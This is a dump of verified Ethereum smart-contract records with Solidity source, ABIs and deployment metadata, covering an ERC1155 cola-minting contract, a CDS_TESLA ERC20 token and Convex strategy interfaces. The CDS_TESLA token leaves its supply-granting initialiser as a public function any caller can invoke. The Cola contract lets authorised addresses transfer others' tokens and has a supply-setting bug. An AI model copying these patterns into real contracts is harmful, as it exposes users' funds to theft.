mapping (address => uint256) private _mintedPerAddress;
event CryptoColasMinted(address mintedBy, uint256 totalAmount, uint256 totalTypes);
constructor(address _apes, address _staking, address _mal, string memory baseUri) ERC1155(baseUri) {
name_ = "Moon Crypto Cola";
symbol_ = "MAL_CRYPTO_COLA";
colaBaseUri = baseUri;
saleIsActive = false;
isPaused = false;
// contracts
APES = IERC721(address(_apes));
STAKING = ISTAKING(address(_staking));
MAL = IMAL(address(_mal));
saleIsActive = false;
maxSupplies[0] = 10000;
maxSupplies[1] = 6000;
maxSupplies[2] = 2000;
tokensPrices[0] = 1500 ether;
tokensPrices[1] = 3000 ether;
tokensPrices[2] = 7000 ether;
priceIncrementer[0] = 1500 ether;
priceIncrementer[1] = 3000 ether;
priceIncrementer[2] = 7000 ether;
_detailsSet = true;
}
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) public override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()) || _isAuthorised[_msgSender()], "ERC1155: caller is not owner nor approved");
_safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()) || _isAuthorised[_msgSender()], "ERC1155: transfer caller is not owner nor approved");
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
function authorise(address addressToAuth) public onlyOwner {
_isAuthorised[addressToAuth] = true;
authorisedLog.push(addressToAuth);
}
function unauthorise(address addressToUnAuth) public onlyOwner {
_isAuthorised[addressToUnAuth] = false;
}
function setBreedingContract(address _breeding) public onlyOwner{
BREEDING = IERC721(_breeding);
_isAuthorised[_breeding] = true;
}
function reserveForGiveaway(uint256[] memory tokenTypes, uint256[] memory tokenAmounts) public onlyOwner{
require(tokenTypes.length == tokenAmounts.length, "Lists are not same length");
uint256 totalAmount = 0;
for (uint256 i = 0; i < tokenTypes.length; i++){
require(tokenTypes[i] <= uint256(CryptoColaTypes.Barrel), "Invalid token type");
require(totalSupply(tokenTypes[i]) + tokenAmounts[i] <= maxSupplies[tokenTypes[i]], "You tried to mint more than allowed");
totalAmount += tokenAmounts[i];
}
require(SUPPLY + totalAmount <= MAX_SUPPLY, "Cannot mint more than Total Crypto Cola Supply allows");
_mintBatch(_msgSender(), tokenTypes, tokenAmounts, "");
}
function name() public view returns (string memory) {
return name_;
}
function symbol() public view returns (string memory) {
return symbol_;
}
function getTotalPrice(address buyer, uint256[] memory tokensTypes, uint256[] memory tokensNumbers) public view returns (uint256){
require(tokensTypes.length == tokensNumbers.length, "Lists not same length");
uint256 apesOwned = _getApeBalance(buyer);
uint256 colasMinted = _mintedTokens[buyer];
uint256 totalPrice = 0;
uint256 totalAmount = 0;
for (uint256 i = 0; i < tokensTypes.length; i++){
require(tokensNumbers[i] > 0, "Wrong Crypto Cola purchase amount");
require(tokensTypes[i] <= uint256(CryptoColaTypes.Barrel), "Invalid token type");
require(totalSupply(tokensTypes[i]) + tokensNumbers[i] <= maxSupplies[tokensTypes[i]], "You tried to mint more than allowed");
uint256 colaBasePrice = tokensPrices[tokensTypes[i]];
uint256 colaIncrement = priceIncrementer[tokensTypes[i]];
for (uint256 j = 0; j < tokensNumbers[i]; j++){
colasMinted += 1;
if (colasMinted <= apesOwned){
totalPrice += colaBasePrice;
} else {
totalPrice += colaBasePrice + ((colasMinted - apesOwned) * colaIncrement);
}
}
totalAmount += tokensNumbers[i];
}
return totalPrice;
}
function purchase(uint256[] memory tokensTypes, uint256[] memory tokensNumbers) public {
require(tokensTypes.length == tokensNumbers.length, "Lists not same length");
require(_detailsSet, "The mint has not started yet");
require(saleIsActive, "The mint has not started yet");
uint256 apesOwned = _getApeBalance(_msgSender());
uint256 colasMinted = _mintedTokens[_msgSender()];
uint256 totalPrice = 0;
uint256 totalAmount = 0;
for (uint256 i = 0; i < tokensTypes.length; i++){
require(tokensNumbers[i] > 0, "Wrong Crypto Cola purchase amount");
require(tokensTypes[i] <= uint256(CryptoColaTypes.Barrel), "Invalid token type");
require(totalSupply(tokensTypes[i]) + tokensNumbers[i] <= maxSupplies[tokensTypes[i]], "You tried to mint more than allowed");
uint256 colaBasePrice = tokensPrices[tokensTypes[i]];
uint256 colaIncrement = priceIncrementer[tokensTypes[i]];
for (uint256 j = 0; j < tokensNumbers[i]; j++){
colasMinted += 1;
if (colasMinted <= apesOwned){
totalPrice += colaBasePrice;
} else {
totalPrice += colaBasePrice + ((colasMinted - apesOwned) * colaIncrement);
}
}
totalAmount += tokensNumbers[i];
}
require(SUPPLY + totalAmount <= MAX_SUPPLY, "Cannot mint more than Total Crypto Cola Supply allows");
_mintedTokens[_msgSender()] += totalAmount;
MAL.spendMAL(_msgSender(), totalPrice);
_mintBatch(_msgSender(), tokensTypes, tokensNumbers, "");
emit CryptoColasMinted(_msgSender(), totalAmount, tokensTypes.length);
}
function getColasMinted(address user) public view returns(uint256){
return _mintedTokens[user];
}
function getColaIncrement(uint256 colaType) public view returns(uint256){
return priceIncrementer[colaType];
}
function updateSaleStatus(bool status) public onlyOwner {
saleIsActive = status;
}
function setTokenPriceAndMaxSupplies(uint256[] memory _tokenTypes, uint256[] memory _tokenPrices, uint256[] memory _increments, uint256[] memory _tokensMaxSupplies) public onlyOwner {
require(_tokenTypes.length == _tokenPrices.length, "Lists not same length");
require(_tokenTypes.length == _tokensMaxSupplies.length, "Lists not same length");
require(_tokenTypes.length == _increments.length, "Lists not same length");
require(!saleIsActive, "Price cannot be changed while sale is active");
for (uint256 i = 0; i < _tokenTypes.length; i++){
require(_tokenTypes[i] >= 0, "Invalid token type");
require(_tokenTypes[i] <= uint256(CryptoColaTypes.Barrel), "Invalid token type");
require(_tokenPrices[i] > 0, "Invalid price");
tokensPrices[_tokenTypes[i]] = _tokenPrices[i];
_tokensMaxSupplies[_tokenTypes[i]] = _tokensMaxSupplies[i];
priceIncrementer[_tokenTypes[i]] = _increments[i];
}
_detailsSet = true;
}
function _getApeBalance(address user) internal view returns (uint256){
return STAKING.balanceOf(user) + APES.balanceOf(user);
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
payable(owner()).transfer(balance);
}
function pause(bool _isPaused) external onlyOwner {
isPaused = _isPaused;
}
function uri(uint256 tokenType) public view override returns (string memory) {
require(tokenType <= uint256(CryptoColaTypes.Barrel), "Invalid token type");
return string(abi.encodePacked(string(abi.encodePacked(colaBaseUri, tokenType.toString())), ".json"));
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
require(!isPaused, "ERC1155Pausable: token transfer while paused");
}
} | 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ISTAKING","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addressToAuth","type":"address"}],"name":"authorise","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"authorisedLog","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"}],"name":"balanceOfBatch","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"exists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"colaType","type":"uint256"}],"name":"getColaIncrement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"getColasMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"},{"internalType":"uint256[]","name":"tokensTypes","type":"uint256[]"},{"internalType":"uint256[]","name":"tokensNumbers","type":"uint256[]"}],"name":"getTotalPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isPaused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_isPaused","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokensTypes","type":"uint256[]"},{"internalType":"uint256[]","name":"tokensNumbers","type":"uint256[]"}],"name":"purchase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenTypes","type":"uint256[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"}],"name":"reserveForGiveaway","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeBatchTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_breeding","type":"address"}],"name":"setBreedingContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_tokenTypes","type":"uint256[]"},{"internalType":"uint256[]","name":"_tokenPrices","type":"uint256[]"},{"internalType":"uint256[]","name":"_increments","type":"uint256[]"},{"internalType":"uint256[]","name":"_tokensMaxSupplies","type":"uint256[]"}],"name":"setTokenPriceAndMaxSupplies","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addressToUnAuth","type":"address"}],"name":"unauthorise","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"updateSaleStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenType","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | 00000000000000000000000034c4eba1966b502dfcf0868b6f271d85cc8a231200000000000000000000000000a103267a22971375c3c37d6e1f1bdfb548e94600000000000000000000000065fd5d7ea09459c932aa70eba22548cd16283c9300000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d53624257756f33705637554175774237324c734e4e3154593773315455754c597558506f64517962646e775a2f00000000000000000000 | Default | MIT | false | ipfs://f7ce0a8572484286fd07bb8fe489cec0098c46b12fed4c5230e6aeb0e7ca92ac |
||
CDS_TESLA_MMXXII_20230116 | CDS_TESLA_MMXXII_20230116.sol | 0xd8ed290debb1c2c92d6815e3ddbbf1c1133b7160 | Solidity | /**
*Submitted for verification at Etherscan.io on 2020-xx-xx
*rusal2020001: TCI BIMI account
*ex_^0.4.8
*ex_^0.4.25
*/
/**
*cours ref TESLA USD 843.40 le 20200204 1416 BUCURESTI
*/
pragma solidity ^0.4.25 ;
contract CDS_TESLA_MMXXII_20230116 {
mapping (address => uint256) public balanceOf;
string public name = " CDS_TESLA_MMXXII_20230116 " ;
string public symbol = " TESLA_MMXXII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 10100000000000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"SimpleERC20Token","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.25+commit.59dbf8f1 | false | 200 | Default | None | false | bzzr://474d7d017936b9210a731f93a637707449c6065a78fd035176aaabda34026bcc |
|||
ConvexStrategyDAI | contracts/interfaces/bloq/IAddressList.sol | 0x6897d2cbf66e317bde74595c455bee09cf144136 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IAddressList {
function add(address a) external returns (bool);
function remove(address a) external returns (bool);
function get(address a) external view returns (uint256);
function contains(address a) external view returns (bool);
function length() external view returns (uint256);
function grantRole(bytes32 role, address account) external;
} | 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IStableSwapUnderlying","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cvxCrvRewards","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"depositError","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeCollector","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"}],"name":"getLpValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"getLpValueAs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addressListFactory","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isClaimExtras","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isClaimRewards","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"isReservedToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepers","outputs":[{"internalType":"contract IAddressList","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newStrategy","type":"address"}],"name":"migrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"oraclePeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oracleRouterIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rebalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"receiptToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"removeKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setCheckpoint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setupOracles","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapManager","outputs":[{"internalType":"contract ISwapManager","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_fromToken","type":"address"}],"name":"sweepERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"threePool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLp","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalValue","outputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimExtras","type":"bool"}],"name":"updateClaimExtras","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimRewards","type":"bool"}],"name":"updateClaimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCrvSlippage","type":"uint256"}],"name":"updateCrvSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeCollector","type":"address"}],"name":"updateFeeCollector","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newPeriod","type":"uint256"},{"internalType":"uint256","name":"_newRouterIdx","type":"uint256"}],"name":"updateOracleConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_swapManager","type":"address"}],"name":"updateSwapManager","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSwapSlippage","type":"uint256"}],"name":"updateSwapSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdRateTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.3+commit.8d00100c | true | 200 | 0000000000000000000000000538c8bac84e95a9df8ac10aad17dbe81b9e36ee000000000000000000000000e382d9f2394a359b01006faa8a1864b8a60d2710 | Default | MIT | false | |||
ConvexStrategyDAI | contracts/interfaces/bloq/IAddressListFactory.sol | 0x6897d2cbf66e317bde74595c455bee09cf144136 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IAddressListFactory {
function ours(address a) external view returns (bool);
function listCount() external view returns (uint256);
function listAt(uint256 idx) external view returns (address);
function createList() external returns (address listaddr);
} | [{"inputs":[{"internalType":"address","name":"_pool","type":"address"},{"internalType":"address","name":"_swapManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"reason","type":"string"}],"name":"DepositFailed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldCrvSlippage","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newCrvSlippage","type":"uint256"}],"name":"UpdatedCrvSlippage","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousFeeCollector","type":"address"},{"indexed":true,"internalType":"address","name":"newFeeCollector","type":"address"}],"name":"UpdatedFeeCollector","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldPeriod","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newPeriod","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"oldRouterIdx","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newRouterIdx","type":"uint256"}],"name":"UpdatedOracleConfig","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousSwapManager","type":"address"},{"indexed":true,"internalType":"address","name":"newSwapManager","type":"address"}],"name":"UpdatedSwapManager","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldSwapSlippage","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSwapSlippage","type":"uint256"}],"name":"UpdatedSwapSlippage","type":"event"},{"inputs":[],"name":"BOOSTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CRV","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CRV_MINTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CVX","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"N","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"NAME","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"addKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approveToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amtNeeded","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"calcWithdrawLpAs","outputs":[{"internalType":"uint256","name":"lpToWithdraw","type":"uint256"},{"internalType":"uint256","name":"unstakeAmt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimableRewards","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"coinDecimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"coins","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collateralToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"convertFrom18","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"convexPoolId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvGauge","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvLp","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvPool","outputs":[{"internalType":"contract IStableSwapUnderlying","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cvxCrvRewards","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"depositError","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeCollector","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"}],"name":"getLpValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"getLpValueAs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addressListFactory","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isClaimExtras","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isClaimRewards","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"isReservedToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepers","outputs":[{"internalType":"contract IAddressList","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newStrategy","type":"address"}],"name":"migrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"oraclePeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oracleRouterIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rebalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"receiptToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"removeKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setCheckpoint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setupOracles","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapManager","outputs":[{"internalType":"contract 